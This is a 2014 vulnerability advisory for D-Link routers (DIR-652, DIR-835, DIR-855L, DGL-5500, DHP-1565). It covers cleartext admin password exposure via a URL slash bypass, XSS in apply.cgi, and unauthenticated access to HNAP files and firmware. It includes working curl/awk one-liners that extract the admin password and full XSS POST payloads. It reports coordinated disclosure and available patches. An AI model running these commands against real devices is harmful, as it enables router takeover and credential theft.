The following five D-Link model routers suffer from several vulnerabilities including Clear Text Storage of Passwords, Cross Site Scripting and Sensitive Information Disclosure. DIR-652 D-Link Wireless N Gigabit Home Router DIR-835 D-Link Network DIR-835L Wireless N 750M Dual-band 802.11n 4Port Gigabit Router DIR-855L - D-Link Wireless N900 Dual Band Gigabit Router DGL-5500 D-Link AC1300 Gaming Router DHP-1565 D-Link Wireless N PowerLine Gigabit Router Affected firmware - FW 1.02b18/1.12b02 or older Access - Remote Complexity - Low Authentication - None Impact - Full loss of confidentiality ------------------------------------------------------------------------------------------------------------- Clear Text Password - CWE - CWE-316: Cleartext Storage of Sensitive Information Authentication can be bypassed to gain access to the file tools_admin.asp, which stores the devices admin password in plain text, by adding a "/" to the end of the URL. Proof of Concept for the DGL-5500, DIR-855L and the DIR-835: curl -s http://<IP>/tools_admin.asp/ |awk '/hidden/ && /admin_password_tmp/ && /value/ {print $5}' PoC for the DHP-1565 and DIR-652, the generic 'user' must be added. curl -s http://<IP>/tools_admin.asp/ -u user:|awk '/hidden/ && /admin_password_tmp/ && /value/ {print $5}' ------------------------------------------------------------------------------------------------------------- Cross Site Scripting - CWE - CWE-79: Improper Neutralization of User Input / Return For the file "apply.cgi" ("apply_sec.cgi" on the DGL-5500) the POST param "action" suffers from a XSS vulnerability due to improper neutralization of user input / return output. PoC for DIR-855L, DIR-835, DHP-1565 http://<IP>/apply.cgi POST graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D HTTP/1.1 For the DGL-5500 http://<IP>/apply_sec.cgi POST graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D HTTP/1.1 ------------------------------------------------------------------------------------------------------------- Sensitive Information Disclosure - CWE - CWE-200: Information Exposure The D-Link models DGL-5500, DIR-855L, DIR-835 suffer from a vulnerability which an unauthenticated person can gain access the sensitive files: http://<IP>:8080/hnap.cgi and /HNAP1/ via: curl -s curl -s http://<IP>:8080/HNAP1/ On the DIR-652 and DHP-1565, a user needs authentication first to gain access to these files. But more importantly, an unauthenticated user can browse directly to http://<IP>/cgi/ssi/ which will offer a download of the device's ELF MBS MIPS file. The file contains most of the devices internal working structure and sensitive information. These particular routers use a MSB EM_MIPS Processor and it does contain executable components. The file can be accessed through at least one known cgi file, however there maybe others. Although no known publicly working example exist to my knowledge, unpatched devices are susceptible to injection of malicious code and most likely susceptible to a payload which could deploy a self-replicating worm. ------------------------------------------------------------------------------------------------------------- These items were reported to D-Link on April 20th, and to US Cert on April 21. D-Link does have patches available for all affected models, and it is highly recommended to update the device's firmware as soon as possible. Vendor Links: http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10025 http://securityadvisories.dlink.com/security/ Research Contact - Kyle Lovett May 21, 2014